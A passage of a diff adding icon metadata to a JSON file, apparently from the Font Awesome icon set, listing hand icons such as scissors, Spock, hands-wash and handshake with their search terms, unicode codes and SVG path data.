17.673 14.327 32 32 32h252c17.673 0 32-14.327 32-32 0-23.513-1.015-30.745 3.982-42.37l42.835-99.656c6.094-14.177 9.183-29.172 9.183-44.568V146.963c0-52.839-54.314-88.662-103.136-67.911zM464 261.406a64.505 64.505 0 0 1-5.282 25.613l-42.835 99.655c-5.23 12.171-7.883 25.04-7.883 38.25V432H188v-10.286c0-16.37-7.14-31.977-19.59-42.817l-97.71-85.08C56.274 281.255 48 263.236 48 244.381v-56.953c0-33.208 52-33.537 52 .677v41.228a16 16 0 0 0 5.493 12.067l7 6.095A16 16 0 0 0 139 235.429V118.857c0-33.097 52-33.725 52 .677v26.751c0 8.836 7.164 16 16 16h7c8.836 0 16-7.164 16-16v-41.143c0-33.134 52-33.675 52 .677v40.466c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16v-27.429c0-33.03 52-33.78 52 .677v26.751c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16 0-33.146 52-33.613 52 .677v114.445z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-scissors": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cut", + "game", + "roshambo" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f257", + "label": "Scissors (Hand)", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635525, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216 440c0-22.092 17.909-40 40-40v-8h-32c-22.091 0-40-17.908-40-40s17.909-40 40-40h32v-8H48c-26.51 0-48-21.49-48-48s21.49-48 48-48h208v-13.572l-177.551-69.74c-24.674-9.694-36.818-37.555-27.125-62.228 9.693-24.674 37.554-36.817 62.228-27.124l190.342 74.765 24.872-31.09c12.306-15.381 33.978-19.515 51.081-9.741l112 64A40.002 40.002 0 0 1 512 168v240c0 18.562-12.77 34.686-30.838 38.937l-136 32A39.982 39.982 0 0 1 336 480h-80c-22.091 0-40-17.908-40-40z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M216 440c0-22.092 17.909-40 40-40v-8h-32c-22.091 0-40-17.908-40-40s17.909-40 40-40h32v-8H48c-26.51 0-48-21.49-48-48s21.49-48 48-48h208v-13.572l-177.551-69.74c-24.674-9.694-36.818-37.555-27.125-62.228 9.693-24.674 37.554-36.817 62.228-27.124l190.342 74.765 24.872-31.09c12.306-15.381 33.978-19.515 51.081-9.741l112 64A40.002 40.002 0 0 1 512 168v240c0 18.562-12.77 34.686-30.838 38.937l-136 32A39.982 39.982 0 0 1 336 480h-80c-22.091 0-40-17.908-40-40z" + }, + "regular": { + "last_modified": 1628088634849, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 480l70-.013c5.114 0 10.231-.583 15.203-1.729l118.999-27.427C490.56 443.835 512 417.02 512 386.277V180.575c0-23.845-13.03-45.951-34.005-57.69l-97.999-54.853c-34.409-19.261-67.263-5.824-92.218 24.733L142.85 37.008c-37.887-14.579-80.612 3.727-95.642 41.201-15.098 37.642 3.635 80.37 41.942 95.112L168 192l-94-9.141c-40.804 0-74 32.811-74 73.14 0 40.33 33.196 73.141 74 73.141h87.635c-3.675 26.245 8.692 51.297 30.341 65.006C178.657 436.737 211.044 480 256 480zm0-48.013c-25.16 0-25.12-36.567 0-36.567 8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16h-28c-25.159 0-25.122-36.567 0-36.567h28c8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16H74c-34.43 0-34.375-50.281 0-50.281h182c8.837 0 16-7.163 16-16v-11.632a16 16 0 0 0-10.254-14.933L106.389 128.51c-31.552-12.14-13.432-59.283 19.222-46.717l166.549 64.091a16.001 16.001 0 0 0 18.139-4.812l21.764-26.647c5.82-7.127 16.348-9.064 24.488-4.508l98 54.854c5.828 3.263 9.449 9.318 9.449 15.805v205.701c0 8.491-5.994 15.804-14.576 17.782l-119.001 27.427a19.743 19.743 0 0 1-4.423.502h-70z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 480l70-.013c5.114 0 10.231-.583 15.203-1.729l118.999-27.427C490.56 443.835 512 417.02 512 386.277V180.575c0-23.845-13.03-45.951-34.005-57.69l-97.999-54.853c-34.409-19.261-67.263-5.824-92.218 24.733L142.85 37.008c-37.887-14.579-80.612 3.727-95.642 41.201-15.098 37.642 3.635 80.37 41.942 95.112L168 192l-94-9.141c-40.804 0-74 32.811-74 73.14 0 40.33 33.196 73.141 74 73.141h87.635c-3.675 26.245 8.692 51.297 30.341 65.006C178.657 436.737 211.044 480 256 480zm0-48.013c-25.16 0-25.12-36.567 0-36.567 8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16h-28c-25.159 0-25.122-36.567 0-36.567h28c8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16H74c-34.43 0-34.375-50.281 0-50.281h182c8.837 0 16-7.163 16-16v-11.632a16 16 0 0 0-10.254-14.933L106.389 128.51c-31.552-12.14-13.432-59.283 19.222-46.717l166.549 64.091a16.001 16.001 0 0 0 18.139-4.812l21.764-26.647c5.82-7.127 16.348-9.064 24.488-4.508l98 54.854c5.828 3.263 9.449 9.318 9.449 15.805v205.701c0 8.491-5.994 15.804-14.576 17.782l-119.001 27.427a19.743 19.743 0 0 1-4.423.502h-70z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-sparkles": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "clean", + "covid-19", + "hygiene", + "magic", + "soap", + "wash" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e05d", + "label": "Hand Sparkles", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635525, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M106.66,170.64l.09,0,49.55-20.65a7.32,7.32,0,0,0,3.68-6h0a7.29,7.29,0,0,0-3.68-6l-49.57-20.67-.07,0L86,67.68a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L3.7,138A7.29,7.29,0,0,0,0,144H0a7.32,7.32,0,0,0,3.68,6L53.27,170.6l.07,0L74,220.26a6.65,6.65,0,0,0,11.92,0l20.69-49.62ZM471.38,467.41l-1-.42-1-.5a38.67,38.67,0,0,1,0-69.14l1-.49,1-.43,37.49-15.63,15.63-37.48.41-1,.47-.95c3.85-7.74,10.58-13.63,18.35-17.34,0-1.33.25-2.69.27-4V144a32,32,0,0,0-64,0v72a8,8,0,0,1-8,8H456a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H360a8,8,0,0,1-8-8V32a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H264a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0v241l-23.59-32.49a40,40,0,0,0-64.71,47.09L229.3,492.21A48.07,48.07,0,0,0,268.09,512H465.7c19.24,0,35.65-11.73,43.24-28.79l-.07-.17ZM349.79,339.52,320,351.93l-12.42,29.78a4,4,0,0,1-7.15,0L288,351.93l-29.79-12.41a4,4,0,0,1,0-7.16L288,319.94l12.42-29.78a4,4,0,0,1,7.15,0L320,319.94l29.79,12.42a4,4,0,0,1,0,7.16ZM640,431.91a7.28,7.28,0,0,0-3.68-6l-49.57-20.67-.07,0L566,355.63a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L483.7,426a7.28,7.28,0,0,0-3.68,6h0a7.29,7.29,0,0,0,3.68,5.95l49.57,20.67.07,0L554,508.21a6.65,6.65,0,0,0,11.92,0l20.69-49.62h0l.09,0,49.55-20.66a7.29,7.29,0,0,0,3.68-5.95h0Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M106.66,170.64l.09,0,49.55-20.65a7.32,7.32,0,0,0,3.68-6h0a7.29,7.29,0,0,0-3.68-6l-49.57-20.67-.07,0L86,67.68a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L3.7,138A7.29,7.29,0,0,0,0,144H0a7.32,7.32,0,0,0,3.68,6L53.27,170.6l.07,0L74,220.26a6.65,6.65,0,0,0,11.92,0l20.69-49.62ZM471.38,467.41l-1-.42-1-.5a38.67,38.67,0,0,1,0-69.14l1-.49,1-.43,37.49-15.63,15.63-37.48.41-1,.47-.95c3.85-7.74,10.58-13.63,18.35-17.34,0-1.33.25-2.69.27-4V144a32,32,0,0,0-64,0v72a8,8,0,0,1-8,8H456a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H360a8,8,0,0,1-8-8V32a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H264a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0v241l-23.59-32.49a40,40,0,0,0-64.71,47.09L229.3,492.21A48.07,48.07,0,0,0,268.09,512H465.7c19.24,0,35.65-11.73,43.24-28.79l-.07-.17ZM349.79,339.52,320,351.93l-12.42,29.78a4,4,0,0,1-7.15,0L288,351.93l-29.79-12.41a4,4,0,0,1,0-7.16L288,319.94l12.42-29.78a4,4,0,0,1,7.15,0L320,319.94l29.79,12.42a4,4,0,0,1,0,7.16ZM640,431.91a7.28,7.28,0,0,0-3.68-6l-49.57-20.67-.07,0L566,355.63a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L483.7,426a7.28,7.28,0,0,0-3.68,6h0a7.29,7.29,0,0,0,3.68,5.95l49.57,20.67.07,0L554,508.21a6.65,6.65,0,0,0,11.92,0l20.69-49.62h0l.09,0,49.55-20.66a7.29,7.29,0,0,0,3.68-5.95h0Z" + } + }, + "free": [ + "solid" + ] + }, + "hand-spock": { + "changes": [ + "4.4", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "live long", + "prosper", + "salute", + "star trek", + "vulcan" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f259", + "label": "Spock (Hand)", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635526, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M510.9005,145.27027,442.604,432.09391A103.99507,103.99507,0,0,1,341.43745,512H214.074a135.96968,135.96968,0,0,1-93.18489-36.95291L12.59072,373.12723a39.992,39.992,0,0,1,54.8122-58.24988l60.59342,57.02528v0a283.24849,283.24849,0,0,0-11.6703-80.46734L73.63726,147.36011a40.00575,40.00575,0,1,1,76.71833-22.7187l37.15458,125.39477a8.33113,8.33113,0,0,0,16.05656-4.4414L153.26183,49.95406A39.99638,39.99638,0,1,1,230.73015,30.0166l56.09491,218.15825a10.42047,10.42047,0,0,0,20.30018-.501L344.80766,63.96966a40.052,40.052,0,0,1,51.30245-30.0893c19.86073,6.2998,30.86262,27.67378,26.67564,48.08487l-33.83869,164.966a7.55172,7.55172,0,0,0,14.74406,3.2666l29.3973-123.45874a39.99414,39.99414,0,1,1,77.81208,18.53121Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M510.9005,145.27027,442.604,432.09391A103.99507,103.99507,0,0,1,341.43745,512H214.074a135.96968,135.96968,0,0,1-93.18489-36.95291L12.59072,373.12723a39.992,39.992,0,0,1,54.8122-58.24988l60.59342,57.02528v0a283.24849,283.24849,0,0,0-11.6703-80.46734L73.63726,147.36011a40.00575,40.00575,0,1,1,76.71833-22.7187l37.15458,125.39477a8.33113,8.33113,0,0,0,16.05656-4.4414L153.26183,49.95406A39.99638,39.99638,0,1,1,230.73015,30.0166l56.09491,218.15825a10.42047,10.42047,0,0,0,20.30018-.501L344.80766,63.96966a40.052,40.052,0,0,1,51.30245-30.0893c19.86073,6.2998,30.86262,27.67378,26.67564,48.08487l-33.83869,164.966a7.55172,7.55172,0,0,0,14.74406,3.2666l29.3973-123.45874a39.99414,39.99414,0,1,1,77.81208,18.53121Z" + }, + "regular": { + "last_modified": 1628088634849, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M501.03053,116.17605c-19.39059-31.50779-51.24406-35.72849-66.31044-35.01756-14.11325-50.81051-62.0038-54.08-70.73816-54.08a74.03091,74.03091,0,0,0-72.23816,58.916l-4.64648,22.66014-13.68357-53.207c-9.09569-35.37107-46.412-64.05074-89.66-53.07223a73.89749,73.89749,0,0,0-55.121,78.94722,73.68273,73.68273,0,0,0-64.8495,94.42181l24.35933,82.19721c-38.24017-7.54492-62.79677,16.18358-68.11512,21.84764a73.6791,73.6791,0,0,0,3.19921,104.19329l91.36509,85.9765A154.164,154.164,0,0,0,220.62279,512h107.4549A127.30079,127.30079,0,0,0,452.3392,413.86139l57.623-241.96272A73.20274,73.20274,0,0,0,501.03053,116.17605Zm-37.7597,44.60544L405.64788,402.74812a79.46616,79.46616,0,0,1-77.57019,61.25972H220.62279a106.34052,106.34052,0,0,1-73.1366-28.998l-91.369-85.98041C31.34381,325.72669,66.61133,288.131,91.39644,311.5392l51.123,48.10739c5.42577,5.10937,13.48239.71679,13.48239-5.82617a246.79914,246.79914,0,0,0-10.17771-70.1523l-36.01362-121.539c-9.7324-32.88279,39.69916-47.27145,49.38664-14.625l31.3437,105.77923c5.59374,18.90428,33.78119,10.71288,28.9648-8.00781L177.06427,80.23662c-8.50389-33.1035,41.43157-45.64646,49.86515-12.83593l47.32609,184.035c4.42773,17.24218,29.16207,16.5039,32.71089-.80468l31.791-154.9706c6.81054-33.1074,57.51748-24.10741,50.11906,11.96288L360.32764,246.78924c-3.72265,18.10936,23.66793,24.63084,28.05659,6.21679L413.185,148.85962C421.1498,115.512,471.14,127.79713,463.27083,160.78149Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M501.03053,116.17605c-19.39059-31.50779-51.24406-35.72849-66.31044-35.01756-14.11325-50.81051-62.0038-54.08-70.73816-54.08a74.03091,74.03091,0,0,0-72.23816,58.916l-4.64648,22.66014-13.68357-53.207c-9.09569-35.37107-46.412-64.05074-89.66-53.07223a73.89749,73.89749,0,0,0-55.121,78.94722,73.68273,73.68273,0,0,0-64.8495,94.42181l24.35933,82.19721c-38.24017-7.54492-62.79677,16.18358-68.11512,21.84764a73.6791,73.6791,0,0,0,3.19921,104.19329l91.36509,85.9765A154.164,154.164,0,0,0,220.62279,512h107.4549A127.30079,127.30079,0,0,0,452.3392,413.86139l57.623-241.96272A73.20274,73.20274,0,0,0,501.03053,116.17605Zm-37.7597,44.60544L405.64788,402.74812a79.46616,79.46616,0,0,1-77.57019,61.25972H220.62279a106.34052,106.34052,0,0,1-73.1366-28.998l-91.369-85.98041C31.34381,325.72669,66.61133,288.131,91.39644,311.5392l51.123,48.10739c5.42577,5.10937,13.48239.71679,13.48239-5.82617a246.79914,246.79914,0,0,0-10.17771-70.1523l-36.01362-121.539c-9.7324-32.88279,39.69916-47.27145,49.38664-14.625l31.3437,105.77923c5.59374,18.90428,33.78119,10.71288,28.9648-8.00781L177.06427,80.23662c-8.50389-33.1035,41.43157-45.64646,49.86515-12.83593l47.32609,184.035c4.42773,17.24218,29.16207,16.5039,32.71089-.80468l31.791-154.9706c6.81054-33.1074,57.51748-24.10741,50.11906,11.96288L360.32764,246.78924c-3.72265,18.10936,23.66793,24.63084,28.05659,6.21679L413.185,148.85962C421.1498,115.512,471.14,127.79713,463.27083,160.78149Z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hands": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "carry", + "hold", + "lift" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4c2", + "label": "Hands", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635527, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M204.8 230.4c-10.6-14.1-30.7-17-44.8-6.4-14.1 10.6-17 30.7-6.4 44.8l38.1 50.8c4.8 6.4 4.1 15.3-1.5 20.9l-12.8 12.8c-6.7 6.7-17.6 6.2-23.6-1.1L64 244.4V96c0-17.7-14.3-32-32-32S0 78.3 0 96v218.4c0 10.9 3.7 21.5 10.5 30l104.1 134.3c5 6.5 8.4 13.9 10.4 21.7 1.8 6.9 8.1 11.6 15.3 11.6H272c8.8 0 16-7.2 16-16V384c0-27.7-9-54.6-25.6-76.8l-57.6-76.8zM608 64c-17.7 0-32 14.3-32 32v148.4l-89.8 107.8c-6 7.2-17 7.7-23.6 1.1l-12.8-12.8c-5.6-5.6-6.3-14.5-1.5-20.9l38.1-50.8c10.6-14.1 7.7-34.2-6.4-44.8-14.1-10.6-34.2-7.7-44.8 6.4l-57.6 76.8C361 329.4 352 356.3 352 384v112c0 8.8 7.2 16 16 16h131.7c7.1 0 13.5-4.7 15.3-11.6 2-7.8 5.4-15.2 10.4-21.7l104.1-134.3c6.8-8.5 10.5-19.1 10.5-30V96c0-17.7-14.3-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M204.8 230.4c-10.6-14.1-30.7-17-44.8-6.4-14.1 10.6-17 30.7-6.4 44.8l38.1 50.8c4.8 6.4 4.1 15.3-1.5 20.9l-12.8 12.8c-6.7 6.7-17.6 6.2-23.6-1.1L64 244.4V96c0-17.7-14.3-32-32-32S0 78.3 0 96v218.4c0 10.9 3.7 21.5 10.5 30l104.1 134.3c5 6.5 8.4 13.9 10.4 21.7 1.8 6.9 8.1 11.6 15.3 11.6H272c8.8 0 16-7.2 16-16V384c0-27.7-9-54.6-25.6-76.8l-57.6-76.8zM608 64c-17.7 0-32 14.3-32 32v148.4l-89.8 107.8c-6 7.2-17 7.7-23.6 1.1l-12.8-12.8c-5.6-5.6-6.3-14.5-1.5-20.9l38.1-50.8c10.6-14.1 7.7-34.2-6.4-44.8-14.1-10.6-34.2-7.7-44.8 6.4l-57.6 76.8C361 329.4 352 356.3 352 384v112c0 8.8 7.2 16 16 16h131.7c7.1 0 13.5-4.7 15.3-11.6 2-7.8 5.4-15.2 10.4-21.7l104.1-134.3c6.8-8.5 10.5-19.1 10.5-30V96c0-17.7-14.3-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "hands-helping": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "aid", + "assistance", + "handshake", + "partnership", + "volunteering" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4c4", + "label": "Helping Hands", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635526, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M488 192H336v56c0 39.7-32.3 72-72 72s-72-32.3-72-72V126.4l-64.9 39C107.8 176.9 96 197.8 96 220.2v47.3l-80 46.2C.7 322.5-4.6 342.1 4.3 357.4l80 138.6c8.8 15.3 28.4 20.5 43.7 11.7L231.4 448H368c35.3 0 64-28.7 64-64h16c17.7 0 32-14.3 32-32v-64h8c13.3 0 24-10.7 24-24v-48c0-13.3-10.7-24-24-24zm147.7-37.4L555.7 16C546.9.7 527.3-4.5 512 4.3L408.6 64H306.4c-12 0-23.7 3.4-33.9 9.7L239 94.6c-9.4 5.8-15 16.1-15 27.1V248c0 22.1 17.9 40 40 40s40-17.9 40-40v-88h184c30.9 0 56 25.1 56 56v28.5l80-46.2c15.3-8.9 20.5-28.4 11.7-43.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M488 192H336v56c0 39.7-32.3 72-72 72s-72-32.3-72-72V126.4l-64.9 39C107.8 176.9 96 197.8 96 220.2v47.3l-80 46.2C.7 322.5-4.6 342.1 4.3 357.4l80 138.6c8.8 15.3 28.4 20.5 43.7 11.7L231.4 448H368c35.3 0 64-28.7 64-64h16c17.7 0 32-14.3 32-32v-64h8c13.3 0 24-10.7 24-24v-48c0-13.3-10.7-24-24-24zm147.7-37.4L555.7 16C546.9.7 527.3-4.5 512 4.3L408.6 64H306.4c-12 0-23.7 3.4-33.9 9.7L239 94.6c-9.4 5.8-15 16.1-15 27.1V248c0 22.1 17.9 40 40 40s40-17.9 40-40v-88h184c30.9 0 56 25.1 56 56v28.5l80-46.2c15.3-8.9 20.5-28.4 11.7-43.7z" + } + }, + "free": [ + "solid" + ] + }, + "hands-wash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "hygiene", + "soap", + "wash" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e05e", + "label": "Hands Wash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635526, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M496,224a48,48,0,1,0-48-48A48,48,0,0,0,496,224ZM311.47,178.45A56.77,56.77,0,0,1,328,176a56,56,0,0,1,19,3.49l15.35-48.61A24,24,0,0,0,342,99.74c-11.53-1.35-22.21,6.44-25.71,17.51l-20.9,66.17ZM93.65,386.33c.8-.19,1.54-.54,2.35-.71V359.93a156,156,0,0,1,107.06-148l73.7-22.76L310.92,81.05a24,24,0,0,0-20.33-31.11c-11.53-1.34-22.22,6.45-25.72,17.52L231.42,173.88a8,8,0,0,1-15.26-4.83L259.53,31.26A24,24,0,0,0,239.2.15C227.67-1.19,217,6.6,213.49,17.66L165.56,169.37a8,8,0,1,1-15.26-4.82l38.56-122a24,24,0,0,0-20.33-31.11C157,10,146.32,17.83,142.82,28.9l-60,189.85L80.76,168.7A24,24,0,0,0,56.9,144.55c-13.23-.05-24.72,10.54-24.9,23.86V281.14A123.69,123.69,0,0,0,93.65,386.33ZM519.1,336H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,279.84,498.71,272,487.1,272H288l47.09-17.06a24,24,0,0,0-14.18-45.88L213.19,242.31A123.88,123.88,0,0,0,128,360v25.65a79.78,79.78,0,0,1,58,108.63A118.9,118.9,0,0,0,248,512H456a24,24,0,0,0,23.54-28.76C477.35,471.84,466.71,464,455.1,464H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,407.84,498.71,400,487.1,400H360a8,8,0,0,1,0-16H520a24,24,0,0,0,23.54-28.76C541.35,343.84,530.71,336,519.1,336ZM416,64a32,32,0,1,0-32-32A32,32,0,0,0,416,64ZM112,416a48,48,0,1,0,48,48A48,48,0,0,0,112,416Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M496,224a48,48,0,1,0-48-48A48,48,0,0,0,496,224ZM311.47,178.45A56.77,56.77,0,0,1,328,176a56,56,0,0,1,19,3.49l15.35-48.61A24,24,0,0,0,342,99.74c-11.53-1.35-22.21,6.44-25.71,17.51l-20.9,66.17ZM93.65,386.33c.8-.19,1.54-.54,2.35-.71V359.93a156,156,0,0,1,107.06-148l73.7-22.76L310.92,81.05a24,24,0,0,0-20.33-31.11c-11.53-1.34-22.22,6.45-25.72,17.52L231.42,173.88a8,8,0,0,1-15.26-4.83L259.53,31.26A24,24,0,0,0,239.2.15C227.67-1.19,217,6.6,213.49,17.66L165.56,169.37a8,8,0,1,1-15.26-4.82l38.56-122a24,24,0,0,0-20.33-31.11C157,10,146.32,17.83,142.82,28.9l-60,189.85L80.76,168.7A24,24,0,0,0,56.9,144.55c-13.23-.05-24.72,10.54-24.9,23.86V281.14A123.69,123.69,0,0,0,93.65,386.33ZM519.1,336H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,279.84,498.71,272,487.1,272H288l47.09-17.06a24,24,0,0,0-14.18-45.88L213.19,242.31A123.88,123.88,0,0,0,128,360v25.65a79.78,79.78,0,0,1,58,108.63A118.9,118.9,0,0,0,248,512H456a24,24,0,0,0,23.54-28.76C477.35,471.84,466.71,464,455.1,464H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,407.84,498.71,400,487.1,400H360a8,8,0,0,1,0-16H520a24,24,0,0,0,23.54-28.76C541.35,343.84,530.71,336,519.1,336ZM416,64a32,32,0,1,0-32-32A32,32,0,0,0,416,64ZM112,416a48,48,0,1,0,48,48A48,48,0,0,0,112,416Z" + } + }, + "free": [ + "solid" + ] + }, + "handshake": { + "changes": [ + "4.7", + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "agreement", + "greeting", + "meeting", + "partnership" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2b5", + "label": "Handshake", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635528, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M434.7 64h-85.9c-8 0-15.7 3-21.6 8.4l-98.3 90c-.1.1-.2.3-.3.4-16.6 15.6-16.3 40.5-2.1 56 12.7 13.9 39.4 17.6 56.1 2.7.1-.1.3-.1.4-.2l79.9-73.2c6.5-5.9 16.7-5.5 22.6 1 6 6.5 5.5 16.6-1 22.6l-26.1 23.9L504 313.8c2.9 2.4 5.5 5 7.9 7.7V128l-54.6-54.6c-5.9-6-14.1-9.4-22.6-9.4zM544 128.2v223.9c0 17.7 14.3 32 32 32h64V128.2h-96zm48 223.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM0 384h64c17.7 0 32-14.3 32-32V128.2H0V384zm48-63.9c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16c0-8.9 7.2-16 16-16zm435.9 18.6L334.6 217.5l-30 27.5c-29.7 27.1-75.2 24.5-101.7-4.4-26.9-29.4-24.8-74.9 4.4-101.7L289.1 64h-83.8c-8.5 0-16.6 3.4-22.6 9.4L128 128v223.9h18.3l90.5 81.9c27.4 22.3 67.7 18.1 90-9.3l.2-.2 17.9 15.5c15.9 13 39.4 10.5 52.3-5.4l31.4-38.6 5.4 4.4c13.7 11.1 33.9 9.1 45-4.7l9.5-11.7c11.2-13.8 9.1-33.9-4.6-45.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M434.7 64h-85.9c-8 0-15.7 3-21.6 8.4l-98.3 90c-.1.1-.2.3-.3.4-16.6 15.6-16.3 40.5-2.1 56 12.7 13.9 39.4 17.6 56.1 2.7.1-.1.3-.1.4-.2l79.9-73.2c6.5-5.9 16.7-5.5 22.6 1 6 6.5 5.5 16.6-1 22.6l-26.1 23.9L504 313.8c2.9 2.4 5.5 5 7.9 7.7V128l-54.6-54.6c-5.9-6-14.1-9.4-22.6-9.4zM544 128.2v223.9c0 17.7 14.3 32 32 32h64V128.2h-96zm48 223.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM0 384h64c17.7 0 32-14.3 32-32V128.2H0V384zm48-63.9c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16c0-8.9 7.2-16 16-16zm435.9 18.6L334.6 217.5l-30 27.5c-29.7 27.1-75.2 24.5-101.7-4.4-26.9-29.4-24.8-74.9 4.4-101.7L289.1 64h-83.8c-8.5 0-16.6 3.4-22.6 9.4L128 128v223.9h18.3l90.5 81.9c27.4 22.3 67.7 18.1 90-9.3l.2-.2 17.9 15.5c15.9 13 39.4 10.5 52.3-5.4l31.4-38.6 5.4 4.4c13.7 11.1 33.9 9.1 45-4.7l9.5-11.7c11.2-13.8 9.1-33.9-4.6-45.1z" + }, + "regular": { + "last_modified": 1628088634850, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M519.2 127.9l-47.6-47.6A56.252 56.252 0 0 0 432 64H205.2c-14.8 0-29.1 5.9-39.6 16.3L118 127.9H0v255.7h64c17.6 0 31.8-14.2 31.9-31.7h9.1l84.6 76.4c30.9 25.1 73.8 25.7 105.6 3.8 12.5 10.8 26 15.9 41.1 15.9 18.2 0 35.3-7.4 48.8-24 22.1 8.7 48.2 2.6 64-16.8l26.2-32.3c5.6-6.9 9.1-14.8 10.9-23h57.9c.1 17.5 14.4 31.7 31.9 31.7h64V127.9H519.2zM48 351.6c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16zm390-6.9l-26.1 32.2c-2.8 3.4-7.8 4-11.3 1.2l-23.9-19.4-30 36.5c-6 7.3-15 4.8-18 2.4l-36.8-31.5-15.6 19.2c-13.9 17.1-39.2 19.7-55.3 6.6l-97.3-88H96V175.8h41.9l61.7-61.6c2-.8 3.7-1.5 5.7-2.3H262l-38.7 35.5c-29.4 26.9-31.1 72.3-4.4 101.3 14.8 16.2 61.2 41.2 101.5 4.4l8.2-7.5 108.2 87.8c3.4 2.8 3.9 7.9 1.2 11.3zm106-40.8h-69.2c-2.3-2.8-4.9-5.4-7.7-7.7l-102.7-83.4 12.5-11.4c6.5-6 7-16.1 1-22.6L367 167.1c-6-6.5-16.1-6.9-22.6-1l-55.2 50.6c-9.5 8.7-25.7 9.4-34.6 0-9.3-9.9-8.5-25.1 1.2-33.9l65.6-60.1c7.4-6.8 17-10.5 27-10.5l83.7-.2c2.1 0 4.1.8 5.5 2.3l61.7 61.6H544v128zm48 47.7c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M519.2 127.9l-47.6-47.6A56.252 56.252 